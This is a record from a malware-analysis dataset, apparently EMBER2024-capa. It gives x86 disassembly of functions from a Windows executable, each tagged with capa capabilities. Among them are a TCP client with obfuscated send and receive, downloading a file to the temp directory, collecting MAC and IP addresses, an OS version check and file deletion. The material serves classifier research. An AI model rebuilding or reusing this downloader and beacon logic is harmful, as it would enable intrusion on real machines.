joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4028b0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00408270
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [ebp - 0x410]
push esi
push edx
call fcn.00408270
add esp, 0xc
lea ebx, [ebp - 0x410]
call fcn.00401ec0
test eax, eax
je 0x402a0f
xor eax, eax
nop
movzx ecx, word [eax + 0x413298]
mov word [eax + 0x417570], cx
add eax, 2
test cx, cx
jne 0x402910
xor eax, eax
jmp 0x402930
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
test cx, cx
jne 0x402930
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
test cx, cx
jne 0x402950
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov cx, word [ebp - 0x2ea]
mov word [0x41746c], ax
mov word [0x4175f0], cx
mov dword [0x4175f4], 5
je 0x4029a9
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4029d4
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4136d4
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call fcn.00404927
add esp, 0xc
push 0x4135e4
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404927
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404918
mov esp, ebp
pop ebp
ret

Function at 0x402a30
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x415f10], 0
call fcn.00408270
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402ae7
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402ab1
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402a99
cmp eax, 1
jne 0x402ae7
mov dword [0x415f10], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402ae7
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x402ad8
mov dword [0x415f10], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x402ae7
mov dword [0x415f10], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
Function at 0x402b00
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00408270
add esp, 0xc
cmp dword [0x415f10], 3
jne 0x402b67
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41364c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404927
add esp, 0xc
jmp 0x402b79
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [ebp - 0x20c]
push edx
push 0x413650
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00404918
mov esp, ebp
pop ebp
ret

Function at 0x402c60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, eax
cmp edi, 0xffffffff
je 0x402d8a
push 0x400
call fcn.0040545d
add esp, 4
push 0x400
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408270
add esp, 0xc
call fcn.00402e40
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], ecx
shld ecx, eax, 9
shl eax, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 4]
push ecx
push 0x400
push ebx
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x402d81
cmp dword [ebx + 4], 0x5042475f
jne 0x402d24
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402cf0
sub eax, edx
sar eax, 1
je 0x402d24
mov edi, dword [ebp + 8]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.004054f1
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x400
push ebx
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x3c00
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x402d81
cmp dword [ebx + 4], 0x5042475f
jne 0x402d81
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402d70
sub eax, edx
sar eax, 1
jne 0x402d01
push ebx
call fcn.004054f1
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402da0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov dword [ebp - 0x214], 0
mov word [ebp - 0x210], ax
call fcn.00408270
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
lea ebx, [ebp - 0x214]
call fcn.00402f30
mov ebx, dword [ebp - 0x214]
add esp, 4
call fcn.00403030
cmp eax, 0xffffffff
jne 0x402e28
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
push esi
call fcn.00402c60
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop ebx
call fcn.00404918
mov esp, ebp
pop ebp
ret

Function at 0x402e40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x207]
push ebx
push eax
xor esi, esi
mov byte [ebp - 0x208], bl
call fcn.00408270
add esp, 0xc
cmp edi, 0xffffffff
je 0x402f0c
xor eax, eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x210], eax
push 0x200
lea eax, [ebp - 0x208]
push eax
push edi
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402f0c
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
cmp eax, ebx
jbe 0x402ee8
mov esi, eax
mov eax, dword [ebp - 0x2e]
add eax, dword [ebp - 0x32]
cmp eax, esi
jbe 0x402ef4
mov esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
jbe 0x402f00
mov esi, eax
mov eax, dword [ebp - 0x12]
add eax, dword [ebp - 0xe]
cmp eax, esi
jbe 0x402f0c
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404918
mov esp, ebp
pop ebp
ret
Function at 0x403160
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x4136d8
mov edi, ecx
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], 0
call fcn.00404c49
add esp, 0xc
test eax, eax
je 0x40318d
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push ebx
push esi
push 2
push 0
push edx
call fcn.004055b5
mov eax, dword [ebp - 4]
push eax
call fcn.004057c5
mov ecx, dword [ebp - 4]
push 0
push 0
push ecx
mov esi, eax
call fcn.004055b5
lea eax, [esi + edi]
push eax
mov dword [ebp - 0xc], eax
call fcn.0040545d
mov edx, dword [ebp - 4]
push edx
push 1
mov ebx, eax
push esi
push ebx
call fcn.00404eda
mov eax, dword [ebp - 4]
push eax
call fcn.00404f64
push edi
add esi, ebx
push 0
push esi
mov dword [ebp - 8], esi
call fcn.00408270
mov eax, edi
cdq
and edx, 3
lea esi, [edx + eax]
add esp, 0x40
sar esi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040582a
add esp, 4
xor edi, edi
test esi, esi
jle 0x403220
lea ebx, [ebx]
call fcn.0040583c
mov ecx, dword [ebp - 8]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, esi
jl 0x403210
mov edx, dword [ebp + 8]
push 0x4136e0
push edx
lea eax, [ebp - 4]
push eax
call fcn.00404c49
add esp, 0xc
test eax, eax
je 0x403242
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
push ecx
push 1
push edx
push ebx
call fcn.0040512f
mov eax, dword [ebp - 4]
push eax
call fcn.00404f64
add esp, 0x14
test ebx, ebx
je 0x40326b
push ebx
call fcn.004054f1
add esp, 4
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x403820
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x3a98
lea ecx, [ecx]
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4038af
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0x10
push 2
call ebx
mov edi, eax
cmp edi, 0x6f
jne 0x40387f
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc dword [ebp - 4]
cmp edi, 0x6f
jne 0x4038b9
cmp dword [ebp - 4], 3
jb 0x403840
mov edi, 0xfffffffd
test esi, esi
je 0x4038a6
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x40388d
mov eax, esi
test esi, esi
je 0x403923
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x4038d3
cmp dword [eax + 0x1c], 0
jne 0x4038de
mov eax, dword [eax + 8]
test eax, eax
jne 0x4038c8
xor edi, edi
jmp 0x403892
mov edx, dword [eax + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403892
Function at 0x403b50
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push ebx
push edi
call fcn.00403c90
add esp, 8
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x403c76
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00408270
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.00408270
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x416ef0
lea ecx, [ecx]
cmp word [esi], 0
je 0x403c06
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040499c
add esp, 0xc
push esi
lea ecx, [ebp - 0x418]
push 0x104
push ecx
call fcn.00404927
add esp, 0xc
add esi, 0x118
cmp esi, 0x417468
jl 0x403bd0
mov esi, 0x416ef0
lea esp, [esp]
cmp word [esi], 0
je 0x403c32
push ebx
push edi
mov ecx, esi
call fcn.00404590
add esp, 8
add esi, 0x118
cmp esi, 0x417468
jl 0x403c20
push 0x417c78
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404927
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, 2
je 0x403c76
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404918
mov esp, ebp
pop ebp
ret

Function at 0x403ed0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x808]
cmp eax, ebx
je 0x403ef5
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x9a8]
push ecx
push 0x101
mov dword [ebp - 0x9ac], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403f27
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403f16
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403f67
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [ebp - 0x9ac]
push edx
mov dword [ebp - 0x9ac], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403fbd
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [ebp - 0x814], edx
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x818]
mov word [ebp - 0x816], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403fbd
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x403fcc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404918
mov esp, ebp
pop ebp
ret
Function at 0x404140
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x4041bc
cmp edi, eax
jle 0x404166
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x404156
lea ebx, [edi + 7]
push ebx
call fcn.004059de
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x415f14]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x415f18]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.00408de0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4041bf
cmp eax, ebx
jne 0x4041bf
mov dword [ebp - 4], 1
jmp 0x4041bf
mov esi, dword [ebp + 8]
test esi, esi
je 0x4041cc
push esi
call fcn.00405db7
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4043f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], ebx
lea ecx, [ebp - 0x8cc]
test eax, eax
je 0x40442c
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [edx]
xor edi, edi
mov dword [ebp - 0x8d0], edi
test esi, esi
je 0x404577
test ebx, ebx
je 0x404577
push 0xc7
lea ecx, [ebp - 0xcb]
push edi
push ecx
mov byte [ebp - 0xcc], al
call fcn.00408270
add esp, 0xc
push edi
push 2
lea edx, [ebp - 0xcc]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404575
test eax, eax
je 0x404575
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
xor esi, esi
call fcn.004059de
add esp, 4
mov ebx, eax
test edi, edi
jle 0x404551
jmp 0x4044b0
mov eax, dword [ebp - 0x8d8]
push 0
mov ecx, edi
sub ecx, esi
push ecx
mov ecx, dword [eax]
lea edx, [esi + ebx]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40452b
test eax, eax
je 0x40452b
add esi, eax
cmp edi, esi
jg 0x4044b0
cmp esi, 5
jl 0x404551
mov edx, dword [0x415f14]
sub esi, 5
cmp edx, dword [ebx]
jne 0x404551
mov al, byte [ebx + 4]
cmp al, byte [0x415f18]
jne 0x404551
test esi, esi
jle 0x40450a
lea eax, [ebx + 5]
mov edi, esi
nop
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x404500
mov edi, dword [ebp - 0x8dc]
mov eax, dword [edi]
cmp eax, esi
jl 0x404533
mov eax, dword [ebp - 0x8d4]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408de0
mov dword [edi], esi
jmp 0x404544
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404551
mov edx, dword [ebp - 0x8d4]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408de0
add esp, 0xc
mov dword [ebp - 0x8d0], 1
test ebx, ebx
je 0x40455e
push ebx
call fcn.00405db7
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404918
mov esp, ebp
pop ebp
ret
Function at 0x404590
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov ebx, ecx
lea ecx, [ebp - 0x610]
push 0
push ecx
mov dword [ebp - 0xe24], eax
call fcn.00408270
add esp, 0xc
push ebx
lea edx, [ebp - 0x610]
push 0x1ff
push edx
call fcn.0040499c
mov eax, ebx
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4045e1
sub eax, edx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x417a78
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
jmp 0x404610
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404610
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 0x202]
push 0x10000
mov dword [ebp - 0xe28], eax
call fcn.0040545d
add esp, 4
push 0x10000
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408270
add esp, 0xc
push 0x7fe
lea edx, [ebp - 0xe0e]
xor ecx, ecx
push esi
push edx
mov dword [ebp - 0xe1c], 0x10000
mov word [ebp - 0xe10], cx
call fcn.00408270
add esp, 0xc
push 0x206
lea ecx, [ebp - 0x20e]
xor eax, eax
push esi
push ecx
mov dword [ebp - 0xe18], esi
mov dword [ebp - 0xe14], esi
mov dword [ebp - 0xe20], esi
mov word [ebp - 0x210], ax
call fcn.00408270
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0xe24]
lea eax, [ebp - 0xe10]
push eax
push ecx
lea esi, [ebp - 0xe18]
call fcn.00403ed0
add esp, 8
test eax, eax
je 0x4047ac
mov eax, dword [ebp - 0xe28]
lea edx, [ebp - 0xe10]
push edx
push eax
lea ecx, [ebp - 0x610]
push ecx
push 0xbba
mov edx, esi
call fcn.00403fe0
add esp, 0x10
test eax, eax
je 0x4047ac
lea edx, [ebp - 0xe10]
push edx
lea eax, [ebp - 0xe20]
push eax
mov ecx, esi
push ecx
lea edx, [ebp - 0xe1c]
mov ecx, ebx
call fcn.004041e0
add esp, 0xc
test eax, eax
je 0x4047ac
mov edx, 0xbba
cmp word [ebp - 0xe20], dx
jne 0x4047ac
cmp dword [ebp - 0xe1c], 0
je 0x4047ac
cmp byte [ebx], 0
jne 0x4047ac
push 0x417c78
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404927
add esp, 0xc
push 0x413790
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0xe14]
push edx
mov dword [ebp - 0xe14], 0
call fcn.00404c49
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x4047a2
lea eax, [ebp - 0xe14]
push eax
mov edi, esi
call fcn.004047f0
add esp, 4
mov dword [ebp - 0xe14], 1
test ebx, ebx
je 0x4047b9
push ebx
call fcn.004054f1
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x4047ca
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404918
mov esp, ebp
pop ebp
ret
Function at 0x4047f0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040dee0
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [edi]
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push ebx
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x40483c
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404918
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], ebx
jbe 0x404888
push esi
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404887
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.0040512f
add ebx, esi
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x404845
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.00404f64
mov ecx, dword [ebp - 4]
add esp, 4
cmp ebx, dword [ebp - 0x1008]
pop ebx
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.00404918
mov esp, ebp
pop ebp
ret

Function at 0x404918
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415048]
jne 0x404922
repz ret
jmp fcn.0040609e
Function at 0x40e27b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409de3
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40e32e
push 0x4122f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e3d6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4122e4
push ebx
call edi
test eax, eax
je 0x40e3d6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4122d4
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push 0x4122c0
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push 0x4122a4
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40e32e
push 0x41228c
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e387
cmp dword [0x416cbc], ecx
je 0x40e387
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e387
test ebx, ebx
je 0x40e387
call edi
test eax, eax
je 0x40e37e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e37e
test byte [ebp - 8], 1
jne 0x40e387
or dword [ebp + 0x10], 0x200000
jmp 0x40e3ba
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40e3ba
push eax
call esi
test eax, eax
je 0x40e3ba
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e3ba
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40e3ba
push eax
call esi
test eax, eax
je 0x40e3ba
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40e3d6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e3d8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404918
leave
ret